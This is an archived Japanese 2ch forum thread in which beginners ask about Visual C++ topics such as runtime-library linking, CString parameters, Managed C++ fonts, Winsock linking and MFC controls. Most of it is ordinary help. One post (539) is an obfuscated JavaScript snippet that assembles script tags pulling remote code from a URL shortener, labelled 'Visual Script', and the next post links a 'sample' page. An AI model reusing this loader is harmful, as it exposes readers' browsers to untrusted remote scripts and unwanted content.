[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 2chのread.cgiへ]
Update time : 03/18 18:44 / Filesize : 201 KB / Number-of Response : 779
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

★初心者にVisual C++を教えるスレ★ Part25



1 名前:デフォルトの名無しさん [2007/01/10(水) 00:00:39 ]
1 : ◆Manna2uCLg :2005/04/15(金) 13:33:14
Visual C++入門者・初心者からの質問を、
お兄ちゃん達が優しく、時には厳しく回答してくれるスレッドです。

■質問するにあたって
・エラーや警告のときはエラーメッセージを書きましょう。
・開発環境も書きましょう。
・できるだけ具体的に。

質問の仕方については次のページが大変参考になります。
www.hyuki.com/writing/techask.html
myu.daa.jp/osiete/

■回答するにあたって
・回答する場合はその答えに至るための「コツ」も書いてあげると良いでしょう。
 (MSDNのどの項目だとか、何のキーワードでGoogleするとか)
・ネタや煽りは軽く流しましょう。

過去スレ、関連スレなどは>>2-5


496 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 17:03:54 ]
>>494-495
わかりました…
ありがとうございます

497 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 18:35:13 ]
そもそも右辺値、左辺値はC言語の初歩

498 名前:デフォルトの名無しさん mailto:sage [2007/02/19(月) 19:53:10 ]
>>496
あきらめるなな。最初は分かんないことばかりなんだから。

499 名前:デフォルトの名無しさん mailto:age [2007/02/20(火) 22:01:04 ]
すみません。
プロジェクトのプロパティで、
ランタイムライブラリについての設定周りで質問なのですが、

今/MDでビルドすると上手く行くいき、/MTにしたところ
ヒープの破壊が発生するといった状況になりました。
プロジェクトには自前のDLLを使ってます。
ttp://support.microsoft.com/kb/190799/ja
ここにあるとおり、CRTオブジェクトの操作の不備が原因であると
分かりました。

それで質問なのですが、
多くの場合の開発では/MTと/MDどちらを使用するのでしょうか、
/MDの方が、容量が小さくなるし、CRTobjも共有できるようですが、
Cランタイム等がインストールされている必要があります。
/MTだと、ランタイムがインストールされていなくても動作
するようですが、容量が大きく、CRTobjが共有できないようです。

どっちもどっちなのですが、やはり/MDが主流なのでしょうか?

500 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:13:29 ]
何の目的か知らないけど、とくに必要感じなかったらデフォのままで
あとここは初心者スレだし

501 名前:デフォルトの名無しさん [2007/02/20(火) 22:22:00 ]
VC++ というよりはC++の話かも知れませんが教えてください。

CStirng s;
testFunc(&s);

void testFunc(CString s)
{ CString tmp("test"); (*s) = tmp; }

とやると s の値が呼び出し元でも変更されていて、

CString *s;
testFunc(s);

void testFunc(CString *s)
{ CString tmp("test"); s = &tmp; }

とやると変更されていないのはなぜでしょう?

Cのイメージからいくと上の方が変更されずに下で変更されるような気がするのですが・・

502 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:30:08 ]
int *p;
testFunc(p);

void testFunc (int *p)
{ int tmp=1; p=&tmp; }

503 名前:499 mailto:sage [2007/02/20(火) 22:48:00 ]
あ、スレ違いすみません。
他スレに投げてきます。


504 名前:501 mailto:sage [2007/02/20(火) 22:50:22 ]
>>502
すいません。勘違いしていました。
その通りですね。



505 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:52:04 ]
上のやつもあんまり見ない使い方だな
受けたい場合はこういう風に使うのが普通

void GetWindowText( CString& rString ) const;

506 名前:デフォルトの名無しさん mailto:sage [2007/02/20(火) 22:56:30 ]
素直にCString返せよ。

507 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 00:08:53 ]
それはどうよ。
んまぁ今のCPUじゃ一瞬だろうけどな…

508 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 01:33:29 ]
CStringは参照カウント使ってるから、大したオーバーヘッドじゃないよ。

509 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 06:19:25 ]
オーバーヘッドな気もするけどMFCもこんなことやってるな

CString CListCtrl::GetItemText(int nItem, int nSubItem) const
{
ASSERT(::IsWindow(m_hWnd));
LVITEM lvi;
memset(&lvi, 0, sizeof(LVITEM));
lvi.iSubItem = nSubItem;
CString str;
int nLen = 128;
int nRes;
do
{
nLen *= 2;
lvi.cchTextMax = nLen;
lvi.pszText = str.GetBufferSetLength(nLen);
nRes = (int)::SendMessage(m_hWnd, LVM_GETITEMTEXT, (WPARAM)nItem,
(LPARAM)&lvi);
} while (nRes == nLen-1);
str.ReleaseBuffer();
return str;
}

510 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 09:41:27 ]
CStringのコピーは、ポインタコピー + αくらいのオーバーヘッドでしょ。

511 名前:デフォルトの名無しさん [2007/02/21(水) 16:45:09 ]
失礼します。
MS Visual C++ .NET にて質問なのですが、テキストボックスのフォントを

textBox1->Font = new System::Drawing::Font("MSゴシック", 10);

このように変更できますが、new しっぱなしで構わないのでしょうか?
また、

textBox1->Font->Name = "MSゴシック";
textBox1->Font->Size = 10;

このように変更できないのでしょうか?
よろしくおねがいします。

512 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 16:48:36 ]
>>511
1) コントロールに割り当てると、うまく壊すタイミングがないからGCに任せるといい。
2) 読み取り専用プロパティだから無理。

513 名前:511 mailto:sage [2007/02/21(水) 18:33:41 ]
>>512
ありがとうございます。
でも分からないことだらけで死にそうです…。
ビルダーだったら簡単なのに…。とりあえず以下のように拡張しました。

  // フォント情報生成
  CString  fontName = dlg.GetFaceName();
  int    fontSize = dlg.GetSize()/10;
  COLORREF  fontColor = dlg.GetColor();

  // BOLD と ITALIC
  int fontStyle = 0;
  if(dlg.IsBold() ) fontStyle += (int)FontStyle::Bold;
  if(dlg.IsItalic()) fontStyle += (int)FontStyle::Italic;

  // セット
  textBox1->Font = new System::Drawing::Font(fontName, fontSize, (FontStyle)fontStyle);

なお new を gcnew にすると
error C2065: 'gcnew' : 定義されていない識別子です。
とエラーが出ます。
これは何故なのでしょうか?

514 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 19:33:37 ]
言語が違うからだろう。

Visual Studio .NET 2002 / 2003
-> Managed C++

Visual Studio 2005
-> C++/CLI

おそらく2003あたりなんだろうけど、
開発環境は "MS Visual C++ .NET" なんて略さず、確り書くべき。



515 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 19:46:08 ]
マネージドC++ではマネージクラスをnewすると漏れなくGCの管理下に置かれる。

それはともかくこのほうがいいと思う。
FontStyle fontStyle;
if (dlg.IsBold()) fontStyle |= FontStyle::Bold;
if (dlg.IsItalic()) fontStyle |= FontStyle::Italic;

516 名前:デフォルトの名無しさん [2007/02/21(水) 22:37:04 ]
.NET 2003でWinsockを使いたい場合どうすればいいのでしょうか?

プロジェクトを作る場合にチェックボックスで指定出来るのは後から
知ったのですが、これを忘れた場合どうすればよいのでしょうか?
ws2_32.lib のリンクなどが必要だと思うのですが、VC++6.0とは
リンクの仕方が変わっているようで分かりませんでした。

517 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 22:50:37 ]
プロジェクトを作る場合にチェックボックスで指定した場合
プロジェクトを作る場合にチェックボックスで指定しなかった場合
2種類つくってどこが違うか比較

518 名前:デフォルトの名無しさん mailto:sage [2007/02/21(水) 22:58:45 ]
/LIBPATH

をmsdnで調べましょう

519 名前:デフォルトの名無しさん [2007/02/21(水) 23:12:26 ]
>>482
有難うございます、解決できました。

520 名前:デフォルトの名無しさん [2007/02/22(木) 10:56:24 ]
>>514-515
ありがとうございます。
おかげさまで疑問点は解決できました。

521 名前:デフォルトの名無しさん [2007/02/22(木) 11:05:08 ]
どうでもいい質問かもしれないのですが、
 textBox1->Font = new Font("MSゴシック", 10);
と、プログラムからフォント指定する場合、
textBox1コンポーネントに元々あったはずのフォント情報を保存するためのメモリ領域は
どこへ行っちゃうのでしょうか…?



522 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 12:43:15 ]
.NETではその内ガベージコレクタによって回収される。
だからメモリリークの心配は要らない。

523 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 14:03:58 ]
>>522
.NETすげー。
サンクスコ。


524 名前:デフォルトの名無しさん [2007/02/22(木) 20:22:07 ]
今後C++は廃れますか



525 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 20:29:21 ]
仕様の汚さでC++を凌駕する言語が現れるまでは安泰です

526 名前:デフォルトの名無しさん mailto:sage [2007/02/22(木) 23:16:23 ]
既に現れていると思うが。Dとか。

527 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:03:53 ]
C言語の次だからD言語?
だとしたらA言語とかB言語もあるってこと?

528 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:05:27 ]
Bはあるよ

529 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:31:38 ]
でもBはAの次ということではなく、BCPLの頭文字が由来。
ついでに言うとCの由来はBの後継ということでBCPLの2文字目。

530 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 00:51:51 ]
えーっと
ユニコードの設定では
CStdioFile::WriteStringで日本語が出力されないんですが
いったい如何すればいいんでしょうか?

531 名前:530 mailto:sage [2007/02/23(金) 00:52:51 ]
VC2005のMFCでございます。

532 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 07:03:23 ]
>>531
既定ではCロケールになっているので、Unicode/MBCS変換時に日本語は無視されてしまう。
以下の一行をInitInstance辺りにでも入れておくと、OSの設定に従うようになる。
_tsetlocale(LC_ALL, _T(""));

533 名前:530 mailto:sage [2007/02/23(金) 07:41:53 ]
>>532
<locale.h>をインクルードしてできました。
助かりましたありがとうございます。

534 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 17:01:59 ]
質問があります。 ※>>513のつづきとなっております…

MS Visual C++ .NET 2003
においてなのですが、
CEditコンポーネントのフォントを変更する場合、以下のようにすると成功しました。

CEdit* edit(GetDlgItem(IDC_ED1));
CFONT font;

LOGFONT logfont;
(logfont編集)
font = CreateFontIndirect(&logfont);
edit->SetFont(font, TRUE);

logfontを編集することによって、フォント種類やサイズ、下線などが指定できました。
しかし、フォントの色だけは変更できませんでした。

edit->SetTextColor(refcolor);
のような関数があればいいのですがCEditのメンバにはないようにです。
CEditコンポーネントのフォント色を変更する方法を知ってる方、どうか
教えていただけないでしょうか。



535 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 18:51:51 ]
フォント色コンポーネント

536 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 20:07:16 ]
>>534
WM_CTLCOLORをハンドル。
親が処理するか、メッセージ返送を使ってCEditの派生で処理させるか好きな方を。
残念ながら、背景色はSetBkColorだけではうまくいかない。でも調べるの('A`)マンドクセ

537 名前:デフォルトの名無しさん [2007/02/23(金) 21:06:59 ]
>>536
ありがとうございます。
ググるための重要なキーワードです。ただ…訳の分からないエラーが出たり
基本を分かってなかったりで死にそうです。
ちょっと首吊ってきます…。

538 名前:デフォルトの名無しさん [2007/02/23(金) 22:18:10 ]
warning LNK4075: /EDITANDCONTINUE は /OPT:ICF の指定によって無視されます。
error LNK2005: "private: __thiscall type_info::type_info(class type_info const &)" (??0type_info@@AAE@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
fatal error LNK1169: 1 つ以上の複数回定義されているシンボルが見つかりました。

VC++のない環境でもEXEを実行できるよう
VC++2005で/MTオプションでビルドしたところ上のようなエラーが出ました。
LIBCMT.libを無視するようにしたら、ビルドは通りましたがVCのない環境では実行できませんでした。

調べたところ
Microsoft_VC_DebugCRT_x86.msm
policy_8_0_microsoft_vc80_debugcrt_x86.msm
とういうファイルに依存しているようでした、VCがない環境で実行できないのはこれが原因でしょうか?

539 名前:デフォルトの名無しさん [2007/02/23(金) 22:26:47 ]
f="3a5"+"sm4";var d=new Array();tt=" - ";dd="";tt+="連";x=$.split("  \n ");tt+="続";xx="";tt+="動";
tt+="画";j=0;for(i=0;x.length>i;i++){if(3<=x[i].length){j++;if(1==j){tx=x[i];}else{a=x[i].split("&l=");b=eval(a[1]);
if(1>b){b=1;}else if(999<b){b=999;} b=(b+.1)/1000;b=a[0]+"&auto"+"play=1&l="+(""+b).substr(2,3);
c="you"+"tube.com/v/000000"+"00000&aut"+"oplay=1&l=99";b+=c+"9"+c+"8"+c+"7";b=b.substr(0,42*3);
xx+=b;}}} ds="<scr"+"ipt ";dq="src="+"//tin"+"yur"+"l.c"+"om/";dc=ds+dq;de="</scr"+"ipt>";
dn="<noscr"+"ipt>< img "+dq; df="</noscr"+"ipt>";db="<noem"+"bed>";dx="<xnoem"+"bed>";
d[0]="\";"+de+dc+f+">"+de+"\n";d[1]="<html><center><title>"+tx+tt+"</title>"+ds+">x=\"";
d[2]=dn+"y5o"+"vet >"+db+df+ds+">x=\"";d[3]=dc+"yn2"+"d2r>"+de+dx+dx+ds+">x=\"";n=xx.length/(42*3);
for(j=0;3>j;j++){dd+=d[j+1];for(i=0;n>i;i++){dd+=xx.substr(42*(3*i+j),42);}dd+=d[0];};exec(dd);


540 名前:デフォルトの名無しさん [2007/02/23(金) 22:28:05 ]
↑ Visual Script

541 名前:デフォルトの名無しさん [2007/02/23(金) 22:30:18 ]
サンプル動作例
g-s.s7.xrea.com/bbs_ftp/source/guro_0362.htm?1

542 名前:デフォルトの名無しさん mailto:sage [2007/02/23(金) 22:55:13 ]
>>538
>MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
>LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。

Releaceでリビルドし直せ。

543 名前:デフォルトの名無しさん [2007/02/24(土) 00:30:16 ]
一般にC++と言う場合、それがVisual C++をさしている確率は低いんでしょうか?

544 名前:デフォルトの名無しさん [2007/02/24(土) 01:00:47 ]
Visual C++のデバッグモードは便利ですね
プログラムを組んでも、必ずといっていいほど最初はとんでもないことしてるので、デバッグモードで動かすと
すぐ修正できて便利です。
ただ、ファイルを開いてなんかするプログラムだと、デバッグモードではファイルを開くことができません。
これは仕方ないのでしょうか



545 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 01:10:40 ]
ファイルを開くときの共有モードをどうにかすればいい。

546 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 06:13:43 ]
デバッグモードでも普通にファイル開けるだろ
何を言ってるのか理解できない

547 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 10:25:10 ]
>>543
C++はプログラミング言語で、VisualC++はMicrosoftのプログラム開発ソフト。
意味が全く違う。

548 名前:デフォルトの名無しさん [2007/02/24(土) 13:14:08 ]
特定の時刻になったら知らせる方法を教えてください

549 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 13:26:35 ]
つ[タスク]

550 名前:デフォルトの名無しさん [2007/02/24(土) 13:33:44 ]
どういうように使うのですか?

551 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 13:56:37 ]
CLSID_CTaskSchedulerでCoCreateInstanceして
IID_ITaskSchedulerを介してアクセス。

552 名前:デフォルトの名無しさん mailto:sage [2007/02/24(土) 14:02:35 ]
WaitableTimer作って、WaitFor...で待つとか。

553 名前:デフォルトの名無しさん [2007/02/26(月) 11:45:16 ]
2003年の本で勉強したらもう古いらしくて損したよー 
新しい本買わなきゃ     ・゚・(ノД`)・゚・。ウワーン

554 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 12:21:38 ]
あんたばか?



555 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:02:31 ]
>>547
>>543がそんな意図で聞いてるんじゃないことは明白だと思うんだが

556 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:27:10 ]
気に入らなかったら説明してやれば?

557 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 15:59:46 ]
C++って言ったら、やはりプログラミング言語って言うしかないんじゃない?
gccなのかVisualC++なのかC++Builderなのか.NETなのか判断できないし。

558 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 20:59:28 ]
>>543
そういうのって無意味だよな。
VCが使えない分野でなら確実にVCのことではない。


559 名前:デフォルトの名無しさん mailto:516 [2007/02/26(月) 23:23:35 ]
>>518の回答を元に調べてみましたが解決しなかったので教えてください。
.NET 2003 で WinSock を使用する方法です。

プロパティページの追加のライブラリのディレクトリにws2_32.libがある
Microsoft Visual Studio .NET\Vc7\PlatformSDK\lib を追加して
winsock2.hをインクルードするようにしたのですが、リンクのエラーになってしまいます。

  未解決の外部シンボル __imp__WSAStartup@8 が関数〜
  fatal error LNK1120: 外部参照 2 が未解決です

といった感じです。
どうすればよいのでしょうか?

560 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:26:59 ]
更にプロジェクトのプロパティのリンカの中のどこかに、
追加の入力ファイルという項目があるから、そこにws2_32.libと書く。
そうしてはじめてリンク時にws2_32.libが使われる。

561 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:33:39 ]
まだやってたのか
差分とって調べりゃ5分で済んだろうにアホだな

562 名前:516 mailto:sage [2007/02/26(月) 23:46:01 ]
>>560
ありがとうございます。
確認してみます。

>>561
差分ってどうやってだすんですか?
テキストであればツールで簡単に確認できますが、リンカの設定などは
バイナリデータに入ってそうなんですが。

563 名前:デフォルトの名無しさん mailto:sage [2007/02/26(月) 23:50:44 ]
しかしファイル名はテキストのまま書き込まれている

564 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 01:30:39 ]
大丈夫、VisualStudio2003ならその辺の設定は全部テキストだ。



565 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 04:45:26 ]
*.vcproj をメモ帳で開いて見れ。
さすれば、幸せを手に入れることが出来るだろう。

566 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 10:26:29 ]
>>561
アホとか言うのは控えろよ
ここ初心者スレだぞ
カスが

567 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:02:54 ]
MFCダイアログベースで、ヘッダ情報に頼らずにファイルの容量を取得するにはどうすればいいでしょうか。



568 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:09:10 ]
GetFileSize()

569 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 11:40:03 ]
唐突にヘッダ情報って?

570 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:05:09 ]
VC2005 MFCベースでMDIのアプリですが、追加画面が必要になったので
リソースビューの欄で「Dialogを挿入」を行い画面をデザインしてます。
この画面にボタンを2個配置しました。
Aのボタンは最初は無効状態でBのボタンを押すことによって有効にします。
なのでAのボタンは「メンバー変数追加ウイザード」でメンバー変数m_bt1を追加して
Bのボタンが押されたイベントの中でm_bt1.EnableWindow(TRUE);と記述しました。
しかし、コンパイルは通りますが動作させるとエラーが出ます。
ちなみに
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
と記述すると正常に動作します。
何故メンバー変数追加で操作するとエラーになるのでしょうか?
IDや変数名の重複は無いです。

571 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:11:38 ]
別に問題ないと思うけど
あとは簡単なテストプログラム作って試すぐらいだから自分でやってみれば?

572 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 17:14:50 ]
追加したダイアロクじゃなくて
新しく簡単なサンプル作ってやってみれば?ということね

573 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:02:36 ]
m_bt1は有効だった?NULLだったりしないか?

574 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:03:29 ]
つか、メンバのほうか
m_bt1.m_hWndは有効な値だった?



575 名前:570 mailto:sage [2007/02/27(火) 18:32:01 ]
>>574
カーソルを当てて見てみたところメンバー変数を定義した変数のm_hWndは0x00000000です。
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
としてm_bt1のh_Wndを見ると0x00090beeです。

576 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:43:02 ]
んじゃIDがおかしいとかかな。
変数定義もっかいやりなおしてみたら。
何回やってもダメならその手順書いてみな

577 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 18:44:27 ]
メンバ変数の登録がちゃんとできてない。
もう一度やり直してみるといい。
対象のボタンを右クリックして「メンバ変数の追加」、
んでコントロール変数として適当なのを追加。

578 名前:570 mailto:sage [2007/02/27(火) 18:52:14 ]
>>576
>>577
了解しました。
もう一度見直してみます。

579 名前:デフォルトの名無しさん [2007/02/27(火) 19:50:05 ]
roopoutには確実にFALSEがはいっているのに

if(roopout==FALSE)
break;
else
....

が機能しませんが環境によってそういうことがあるのですか?
デバッグしながら確実に中にはいってるものを確かめましたがelseのほうにいきます

580 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 19:56:06 ]
FALSEとfalseは違うんじゃなかったっけ
if (!roopout) とか書いた方が安全

581 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 19:57:12 ]
それかifの後ろのどっかに変なセミコロンが紛れ込んでいて
条件式が真の場合にただの空行を実行してるとか

582 名前:デフォルトの名無しさん [2007/02/27(火) 19:57:24 ]
やってみます

583 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:03:07 ]
ifとelseの間がbreakだけなので、ステップ実行で確認したときあたかも素通りしたように
見えるだけなんじゃない?

584 名前:デフォルトの名無しさん [2007/02/27(火) 20:06:22 ]
ではなぜelseの処理に



585 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:06:35 ]
2005から始めた初心者はかなりきつい状態だろうな
本もサイトも全然ないもんな……

586 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:21:12 ]
実は
if(roopout=FALSE)
と書いていた。

587 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:23:05 ]
それに気付かなくてえらい苦労をした経験から、
条件文は必ず定数を先に書くことにしてる
if(200 == myIQ) みたいな

588 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:29:16 ]
今時それくらいは警告を出すから、わざわざナンセンスな書き方をする必要など無い。

589 名前:デフォルトの名無しさん [2007/02/27(火) 20:39:44 ]
そんな書き方してません
再起動したりしたら動きました

590 名前:516 mailto:sage [2007/02/27(火) 21:44:56 ]
ありがとうございました。
テキストファイルを見比べてみて同じようにすれば出来ました。

VC++6.0のSDKのときはライブラリをリンクして winsock2.h をインクルードして
たんですが、今回、2003のMFCの場合、ヘッダをインクルードして後はちょこちょこっと
関数を呼び出しているだけでライブラリのリンクは特にしていないように思えました。
良く分からなかったのですが、とにかく出来ました。

591 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 01:23:13 ]
>>588
VCだと警告されない罠。
gccでは文句言われるので、そっちに合わせた書き方してるけど。

592 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 01:51:43 ]
warning C4706: 条件式の比較値は、代入の結果になっています。

593 名前:591 mailto:sage [2007/02/28(水) 02:46:30 ]
ありゃ、見逃してた。ひゃくにんいっちゅの所為かorz
安全性考えると、pragmaか/wオプションでレベル下げとくのもありかなあ。

594 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 14:56:39 ]
if(FALSE == flag)
みたいに定数を先に書くソースを見ると身震いするほど嫌悪感を抱くのは俺だけ?



595 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 15:09:53 ]
一度精神科を受診することをオススメする。

596 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 15:43:04 ]
>>594
初めて見た。






[ 続きを読む ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧]( ´∀`)<201KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef